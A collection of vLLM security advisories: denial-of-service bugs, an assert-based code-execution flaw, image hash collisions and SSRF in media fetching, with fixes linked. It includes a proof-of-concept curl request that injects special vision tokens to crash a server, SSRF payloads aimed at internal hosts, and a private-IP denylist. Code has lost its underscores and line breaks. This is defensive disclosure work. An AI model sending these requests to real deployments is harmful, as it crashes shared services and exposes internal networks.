This unhandled exception terminates the EngineCore process, crashing the server.
Affected Models Any model using the Idefics3 architecture. The vulnerability was tested with HuggingFaceTB/SmolVLM-Instruct.
Impact Denial of service by crashing the engine
Mitigation Validating the input: python def validateimagedimensions(self, imageshape): h, w = imageshape[:2] if len(imageshape) == 3 else imageshape if h < MINIMAGESIZE or w < MINIMAGESIZE: raise ValueError(f"Image dimensions too small: {h}x{w}")
Managing the exception: python try: return [e.flatten(0, 1) for e in imagefeatures.split(numpatches.tolist())] except RuntimeError as e: logger.error(f"Image processing failed: {e}") raise InvalidImageError("Failed to process image features") from e
Fixes
https://github.com/vllm-project/vllm/pull/29881
Summary This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on imagegridthw/videogridthw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.
Details - Affected component: multimodal input position computation. - File/functions (paths are indicative): - vllm/modelexecutor/layers/rotaryembedding.py - getinputpositionstensor(...) - vlgetinputpositionstensor(...) - Failure mechanism: - The code counts detected vision tokens and then indexes videogridthw/imagegridthw accordingly. - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.
Representative snippet (context): python vllm/modelexecutor/layers/rotaryembedding.py @classmethod def vlgetinputpositionstensor( cls, inputtokens, hfconfig, imagegridthw, videogridthw, ..., ): # detect video tokens videonums = (visiontokens == videotokenid).sum() # later in processing t, h, w = ( videogridthw[videoindex][0], # IndexError if no video data videogridthw[videoindex][1], videogridthw[videoindex][2], )
Abbreviated call path: OpenAI API request → vllm.v1.engine.core: step/executemodel → vllm.v1.worker.gpumodelrunner: updatestates/executemodel → vllm.modelexecutor.layers.rotaryembedding: getinputpositionstensor → vlgetinputpositionstensor → IndexError: list index out of range
PoC Environment - vLLM: 0.10.0 - Model: Qwen/Qwen2.5-VL-3B-Instruct - Launch server: bash python -m vllm.entrypoints.openai.apiserver \ --model Qwen/Qwen2.5-VL-3B-Instruct \ --port 8000
Request (text-only, no image/video data) bash cat > request.json <<'JSON' { "model": "Qwen/Qwen2.5-VL-3B-Instruct", "messages": [ { "role": "user", "content": [ { "type": "text", "text": "what's in picture <|visionstart|><|imagepad|><|visionend|>" } ] } ] } JSON
curl -s http://127.0.0.1:8000/v1/chat/completions \ -H 'Content-Type: application/json' \ --data @request.json
Observed result - HTTP 500; logs show IndexError: list index out of range from vlgetinputpositionstensor(...). - In some deployments, the worker exits and capacity remains reduced until manual restart.
Impact - Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault. - Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts). - Effect: Request → unhandled exception in position computation → worker termination / service unavailability.
Fixes
Changes associated with https://github.com/vllm-project/vllm/issues/32656
Credits Pengyu Ding (Infra Security, Ant Group) Ziteng Xu (Infra Security, Ant Group)
vLLM versions 0.8.0 and later are vulnerable to an Out-of-Memory (OOM) Denial of Service (DoS) attack due to unbounded frame count processing in the VideoMediaIO.loadbase64() method. When processing video/jpeg data URLs, the method splits the base64 data string on commas to extract individual JPEG frames without enforcing a frame count limit. An attacker can exploit this by crafting a single API request containing thousands of comma-separated base64-encoded JPEG frames in a data URL, causing the server to decode all frames into memory and crash due to excessive memory consumption. This vulnerability is reachable via the OpenAI-compatible chat completions API and does not require authentication.
Summary
An assert-based security check in vLLM's activation function loading allows any unauthenticated attacker to achieve arbitrary code execution on the server by publishing a malicious HuggingFace model, when vLLM runs in Python optimized mode (python -O or PYTHONOPTIMIZE=1).
Details
vLLM uses an assert statement at vllm/modelexecutor/layers/pooler/activations.py:48 as its sole security control to restrict which activation functions can be loaded from a HuggingFace model's config.json:
python vllm/modelexecutor/layers/pooler/activations.py:35-53 functionname: str | None = None if ( hasattr(config, "sentencetransformers") and "activationfn" in config.sentencetransformers ): functionname = config.sentencetransformers["activationfn"] elif ( hasattr(config, "sbertcedefaultactivationfunction") and config.sbertcedefaultactivationfunction is not None ): functionname = config.sbertcedefaultactivationfunction
if functionname is not None: assert functionname.startswith("torch.nn.modules."), ( "Loading of activation functions is restricted to " "torch.nn.modules for security reasons" ) fn = resolveobjbyqualname(functionname)()
Python's assert statements are stripped at compile time when running in optimized mode (python -O or PYTHONOPTIMIZE=1). When the assert is absent, the attacker-controlled functionname from the model's config.json is passed directly to resolveobjbyqualname() — an unrestricted import gadget:
python def resolveobjbyqualname(qualname: str) -> Any: modulename, objname = qualname.rsplit(".", 1) module = importlib.importmodule(modulename) return getattr(module, objname)
This is the same vulnerability class as CVE-2017-1000433 (pysaml2 assert-based auth bypass), flagged by Bandit B101 and Ruff S101, and the reason Django proactively replaced all assert-based security checks (ticket #32508).
Attacker-controlled input sources: - config.sentencetransformers["activationfn"] (line 40) - config.sbertcedefaultactivationfunction (line 45)
Affected call sites — getactfn() is called via resolveclassifieractfn() from: - vllm/modelexecutor/layers/pooler/seqwise/poolers.py:122 — SequencePooler - vllm/modelexecutor/layers/pooler/tokwise/poolers.py:130 — TokenPooler
Broader systemic risk: resolveobjbyqualname is called from ~20 locations across the codebase with no validation of its own. Any future caller feeding user-controlled input to it without validation creates the same vulnerability class.
Suggested fix: Replace the assert with an explicit conditional raise:
python if not functionname.startswith("torch.nn.modules."): raise ValueError( "Loading of activation functions is restricted to " "torch.nn.modules for security reasons" )
Impact
Arbitrary code execution. A malicious model author publishes a HuggingFace model with a crafted config.json. When a victim loads this model with vLLM running under python -O or PYTHONOPTIMIZE=1, arbitrary code executes during model initialization with the privileges of the vLLM process.
The attack requires: 1. Victim loads a malicious model from HuggingFace (user interaction) 2. vLLM runs under python -O or PYTHONOPTIMIZE=1 (documented in production use) 3. Model uses a cross-encoder architecture (e.g. BERT or RoBERTa with sequence classification)
Coordinated disclosure note: This vulnerability was also reported via huntr.com on April 2, 2026 (https://huntr.com/bounties/dcb05b04-e625-41e7-adbc-bbae0cc2d64c). A GitHub Security Advisory was also filed because it is vLLM's stated preferred disclosure channel per SECURITY.md.
Fix
A fix for this was introduced in this commit: https://github.com/vllm-project/vllm/commit/b3c7ffcab82c2439726f8cb213800f6f38c023d3
Summary
A frontend-legal multi-request speculative workload can make vLLM produce an out-of-vocabulary recovered token equal to vocabsize, convert that value to -1 when choosing the next live token for a request, and then feed that -1 back into the next drafter input ids. On Qwen3 GPTQ this reaches the worker-side drafting / attention path and crashes the engine with a GPU device-side assert.
The same issue is reachable through the public gRPC request surface by sending a specific overlapping Generate / Abort sequence.
Impact
- A remote client that can send public gRPC generation requests can crash the shared vLLM engine worker - The triggering request sequence aborts concurrent requests and prevents later requests from completing until the worker is restarted - In shared deployments, this is a service-wide denial of service for other clients, not just a failure isolated to the attacking requests - The failure is reproducible, so repeated request sequences can sustain the outage
Affected version
- Confirmed on vLLM 0.17.1 - Earlier and later versions have not been checked yet in this report
Repro model
- Official Hugging Face repo: - Qwen/Qwen3-0.6B-GPTQ-Int8 - Anyone wants to reproduce the bug with my PoC scripts should download Qwen3-0.6B-GPTQ-Int8 first
Trigger chain
1. A legal multi-request speculative workload keeps structured-output state, speculative decoding, overlap, and request cancellation active in the same live engine. 2. During rejection sampling, vLLM produces a recovered token equal to the model vocabsize boundary value. 3. That recovered token appears in position 0 of the sampled speculative row for a live request. The same row also contains trailing padding entries equal to -1, but those padding entries are not the key fault by themselves. 4. The next-token preparation step treats the position-0 recovered token as the real next token for that request and converts that out-of-vocabulary value to -1. 5. The drafter writes that converted -1 back into the live next-step input-id row for the request. 6. The drafting / embedding / attention path later consumes that live invalid token and the worker crashes on GPU.
Details
Simple example
The important distinction is:
- trailing -1 values in a speculative row can be ordinary padding - the bug appears when the first live token for a request becomes 151936 == vocabsize, and that live token is then converted into -1
In simplified form, the bad transition looks like this:
text sampled speculative row: [151936, -1, -1, -1, ...]
At this point, the trailing -1 values are only padding. The critical problem is that the first position holds 151936, which is out of vocabulary and is being treated as the request's real next token.
Then vLLM prepares the next-token buffer:
text nexttokenids: [-1, ...]
Finally, that converted -1 is written back into the live model input ids:
text inputidsafter: [-1, 0, 0, 0, ...]
The crash happens because the live next token became -1 and was later consumed by the drafting / embedding / attention path, not merely because the speculative row contained padded -1 entries.
Trigger path in code
1. The workload is frontend-legal. The requests use normal SamplingParams features such as structured outputs, stop, badwords, mintokens, and streaming overlap. No malformed token-id list is required at the request boundary. 2. In speculative decoding, the rejection sampler can generate recovered tokens when drafted tokens are rejected. python # vllm/v1/sample/rejectionsampler.py def samplerecoveredtokens(...): recoveredtokenids = torch.emptylike(drafttokenids) samplerecoveredtokenskernel(batchsize, maxspeclen) return recoveredtokenids On the verified Qwen3 run, the recovered-token trace shows recoveredtokenids[0] = 151936, which is exactly vocabsize for this checkpoint. 3. The speculative proposer then prepares the next-token row from the sampled speculative row. python # vllm/v1/specdecode/eagle.py def preparenexttokenidspadded(...): ... eaglepreparenexttokenpaddedkernelgrid return nexttokenids, validsampledtokenscount In the verified trace, this step receives a sampled row beginning with 151936, followed by -1 padding. The important point is that 151936 occupies the first live token position for the request. This step then produces nexttokenids[0] = -1, meaning the live next token for the request has been converted to -1. 4. The drafter then rotates the draft input ids and inserts those nexttokenids back into the live input-id buffer. python # vllm/v1/specdecode/eagle.py def setinputsfirstpass(...): ... self.inputids[tokenindicestosample] = nexttokenids In the verified trace, this produces inputidsafter[0] = -1. 5. The model-side embed path later consumes those input ids. python # vllm/modelexecutor/models/qwen2.py def embedinputids(self, inputids: torch.Tensor) -> torch.Tensor: return self.embedtokens(inputids) In the verified trace, this is the first point where the converted -1 becomes visible as a real model input. The bug is not merely that the sampled speculative row contained padding -1; the bug is that the live next token for the request became -1 and was written back into input ids. 6. After that point, the visible sink depends on timing and backend state. On the attached Qwen3 reproducer, the engine commonly dies later in the drafting / attention path with CUDA error: device-side assert triggered, for example under flashattnvarlenfunc(...).
Local script breakdown
reprog4recoveredminus1local.py is a standalone local reproducer.
- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It creates EngineCore directly without any external helper dependency - It submits one fixed multi-request workload that preserves the same overlap and speculative-decoding state needed for the bug - It writes: - requestpayloads.json - reproconfig.json - timeline.json - responses.json - error.txt - recoveredchaintrace.jsonl - recoveredchaintrace.jsonl is the key attribution artifact. It records the recovered-token chain directly from the standalone reproducer
gRPC script breakdown
reprog4recoveredminus1grpc.py is a standalone public gRPC reproducer.
- It reads the Qwen3 checkpoint path from VLLMPOCG4MODEL or the built-in /path/to/qwen3 placeholder - It starts a temporary vllm.entrypoints.grpcserver process - It sends only public Generate and Abort RPCs - It submits one fixed overlapping request sequence that preserves the same speculative-decoding state needed for the bug - After the crash window, it sends one more public Generate probe request to confirm that later gRPC requests also fail after the worker dies - It writes: - requestpayloads.json - timeline.json - servercommand.json - responses.json - postcrashprobe.json - server.stdout.log - server.stderr.log
Observed result
Local repro typically ends with:
- a recovered-token trace showing: - samplerecoveredtokensreturn -> recoveredtokenids[0] = 151936 - preparenexttokenidspadded -> nexttokenids[0] = -1 - setinputsfirstpass -> inputidsafter[0] = -1 - embedinputidsoutofrange -> inputids[0] = -1 - CUDA error: device-side assert triggered - a fatal engine-side failure
gRPC repro typically ends with:
- the triggering gRPC requests failing with INTERNAL: EngineCore encountered an issue. See stack trace (above) for the root cause. - server logs showing the worker dies with CUDA error: device-side assert triggered - a later public probe request also failing after the worker is dead
This demonstrates that the issue is reachable through the public gRPC request surface, not only through a local reproducer.
Log snippets
Local recovered-chain trace
text samplerecoveredtokensreturn: recoveredtokenids = [151936, ...] vocabsize = 151936
preparenexttokenidspadded: sampledtokenidshead = [[151936, -1, -1, ...], ...] nexttokenids = [-1, ...]
setinputsfirstpass: inputidsafter = [-1, 0, 0, 0, ...]
embedinputidsoutofrange: inputids = [-1, 0, 0, 0, ...]
gRPC server log
text torch.AcceleratorError: CUDA error: device-side assert triggered ... vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause. ... Error in Generate for request postcrashprobe vllm.v1.engine.exceptions.EngineDeadError: EngineCore encountered an issue. See stack trace (above) for the root cause.
Root cause
This is a speculative-decoding state-handling bug, not an invalid frontend token-id input bug.
The root cause is that a recovered speculative token can become equal to vocabsize, then be selected as the live next token for a request, then be converted to -1, and that converted -1 is still written back into live drafter input ids and later consumed by the drafting / embedding / attention path.
For the Qwen3 checkpoint used here:
- 151936 == vocabsize
This value should be described as the model vocabsize boundary value, not as a legal token id.
Attachments
The attached bundle for this report should contain:
- reprog4recoveredminus1local.py - reprog4recoveredminus1grpc.py
These two standalone scripts are sufficient to reproduce the issue and its public gRPC reachability.
Fix
A fix for this vulnerability has been merged in: https://github.com/vllm-project/vllm/pull/44744
vLLM up to and including 0.17.0 allows remote attackers to cause a Denial of Service via memory exhaustion. The AsyncMediaIO.fetchaudio and AsyncMediaIO.fetchimage functions in multimodal/inputs.py fetch user-supplied media URLs using aiohttp and call r.read() without enforcing a maximum response size, allowing an attacker to exhaust server memory by providing a URL to an arbitrarily large file.
Summary
In the file vllm/multimodal/hasher.py, the MultiModalHasher class has a security and data integrity issue in its image hashing method. Currently, it serializes PIL.Image.Image objects using only obj.tobytes(), which returns only the raw pixel data, without including metadata such as the image’s shape (width, height, mode). As a result, two images of different sizes (e.g., 30x100 and 100x30) with the same pixel byte sequence could generate the same hash value. This may lead to hash collisions, incorrect cache hits, and even data leakage or security risks.
Details
- Affected file: vllm/multimodal/hasher.py - Affected method: MultiModalHasher.serializeitem https://github.com/vllm-project/vllm/blob/9420a1fc30af1a632bbc2c66eb8668f3af41f026/vllm/multimodal/hasher.py#L34-L35 - Current behavior: For Image.Image instances, only obj.tobytes() is used for hashing. - Problem description: obj.tobytes() does not include the image’s width, height, or mode metadata. - Impact: Two images with the same pixel byte sequence but different sizes could be regarded as the same image by the cache and hashing system, which may result in: - Incorrect cache hits, leading to abnormal responses - Deliberate construction of images with different meanings but the same hash value
Recommendation
In the serializeitem method, serialization of Image.Image objects should include not only pixel data, but also all critical metadata—such as dimensions (size), color mode (mode), format, and especially the info dictionary. The info dictionary is particularly important in palette-based images (e.g., mode 'P'), where the palette itself is stored in info. Ignoring info can result in hash collisions between visually distinct images with the same pixel bytes but different palettes or metadata. This can lead to incorrect cache hits or even data leakage.
Summary: Serializing only the raw pixel data is insecure. Always include all image metadata (size, mode, format, info) in the hash calculation to prevent collisions, especially in cases like palette-based images.
Impact for other modalities For the influence of other modalities, since the video modality is transformed into a multi-dimensional array containing the length, width, time, etc. of the video, the same problem exists due to the incorrect sequence of numpy as well.
For audio, since the momo function is not enabled in librosa.load, the loaded audio is automatically encoded into single channels by librosa and returns a one-dimensional array of numpy, thus keeping the structure of numpy fixed and not affected by this issue.
Fixes
https://github.com/vllm-project/vllm/pull/17378
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods fetch and process media from user-provided URLs without adequate restrictions on the target hosts. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause denial of service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Vulnerability Details
The core of the vulnerability lies in the MediaConnector.loadfromurl method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
https://github.com/vllm-project/vllm/blob/119f683949dfed10df769fe63b2676d7f1eb644e/vllm/multimodal/utils.py#L97-L113
The function directly processes URLs with http, https, and file schemes. An attacker can supply a URL pointing to an internal IP address or a localhost endpoint. The vLLM server will then initiate a connection to this internal resource.
HTTP/HTTPS Scheme: An attacker can craft a request like {"imageurl": "http://127.0.0.1:8080/internalapi"}. The vLLM server will send a GET request to this internal endpoint. File Scheme: The loadfileurl method attempts to restrict file access to a subdirectory defined by --allowed-local-media-path. While this is a good security measure for local file access, it does not prevent network-based SSRF attacks.
Impact in llm-d Environments
The risk is significantly amplified in orchestrated environments such as llm-d, where multiple pods communicate over an internal network.
1. Denial of Service (DoS): An attacker could target internal management endpoints of other services within the llm-d cluster. For instance, if a monitoring or metrics service is exposed internally, an attacker could send malformed requests to it. A specific example is an attacker causing the vLLM pod to call an internal API that reports a false KV cache utilization, potentially triggering incorrect scaling decisions or even a system shutdown.
2. Internal Network Reconnaissance: Attackers can use the vulnerability to scan the internal network for open ports and services by providing URLs like http://10.0.0.X:PORT and observing the server's response time or error messages.
3. Interaction with Internal Services: Any unsecured internal service becomes a potential target. This could include databases, internal APIs, or other model pods that might not have robust authentication, as they are not expected to be directly exposed.
Delegating this security responsibility to an upper-level orchestrator like llm-d is problematic. The orchestrator cannot easily distinguish between legitimate requests initiated by the vLLM engine for its own purposes and malicious requests originating from user input, thus complicating traffic filtering rules and increasing management overhead.
Proposed Mitigation
To address this vulnerability, it is essential to restrict the URLs that the MediaConnector can access. The principle of least privilege should be applied.
It is recommend to implement a configurable allowlist or denylist for domains and IP addresses.
Allowlist: The most secure approach is to allow connections only to a predefined list of trusted domains. This could be configured via a command-line argument, such as --allowed-media-domains. By default, this list could be empty, forcing administrators to explicitly enable external media fetching.
Denylist: Alternatively, a denylist could block access to private IP address ranges (127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) and other sensitive domains.
A check should be added at the beginning of the loadfromurl methods to validate the parsed hostname against this list before any connection is made.
Example Implementation Idea:
python In MediaConnector.init self.alloweddomains = set(config.get("allowedmediadomains", [])) self.deniedipranges = [ipnetwork(r) for r in PRIVATEIPRANGES]
In MediaConnector.loadfromurl urlspec = urlparse(url) hostname = urlspec.hostname
if self.alloweddomains and hostname not in self.alloweddomains: raise ValueError(f"Domain {hostname} is not in the allowed list.")
ipaddress = ipaddress(socket.gethostbyname(hostname)) if any(ipaddress in network for network in self.deniedipranges): raise ValueError(f"Access to private IP address {ipaddress} is forbidden.")
By integrating this control directly into vLLM, empower administrators to enforce security policies at the source, creating a more secure deployment by default and reducing the burden on higher-level infrastructure management.
Summary A Server-Side Request Forgery (SSRF) vulnerability exists in the MediaConnector class within the vLLM project's multimodal feature set. The loadfromurl and loadfromurlasync methods obtain and process media from URLs provided by users, using different Python parsing libraries when restricting the target host. These two parsing libraries have different interpretations of backslashes, which allows the host name restriction to be bypassed. This allows an attacker to coerce the vLLM server into making arbitrary requests to internal network resources.
This vulnerability is particularly critical in containerized environments like llm-d, where a compromised vLLM pod could be used to scan the internal network, interact with other pods, and potentially cause Denial of Service or access sensitive data. For example, an attacker could make the vLLM pod send malicious requests to an internal llm-d management endpoint, leading to system instability by falsely reporting metrics like the KV cache state.
Details The core of the vulnerability lies in the MediaConnector.loadfromurl method and its asynchronous counterpart. These methods accept a URL string to fetch media content (images, audio, video).
def loadfromurl( self, url: str, mediaio: MediaIO[M], , fetchtimeout: int | None = None, ) -> M: # type: ignore[type-var] urlspec = urlparse(url) if urlspec.scheme.startswith("http"): self.asserturlinallowedmediadomains(urlspec) connection = self.connection data = connection.getbytes( url, timeout=fetchtimeout, allowredirects=envs.VLLMMEDIAURLALLOWREDIRECTS, ) return mediaio.loadbytes(data)
The URL validation uses the urlparse function from Python's urllib module, while the request is made using the request function from Python's requests module. The requests module's underlying URL parsing is implemented using the parseurl function from Python's urllib3. These two parsing functions follow different URL specifications; one is implemented according to the RFC 3986 specification, and the other is implemented according to the WHATWG Living Standard. There is a difference in how the two functions handle backslashes (\) in URLs, which allows the hostname restriction to be bypassed.
Fix
https://github.com/vllm-project/vllm/pull/32746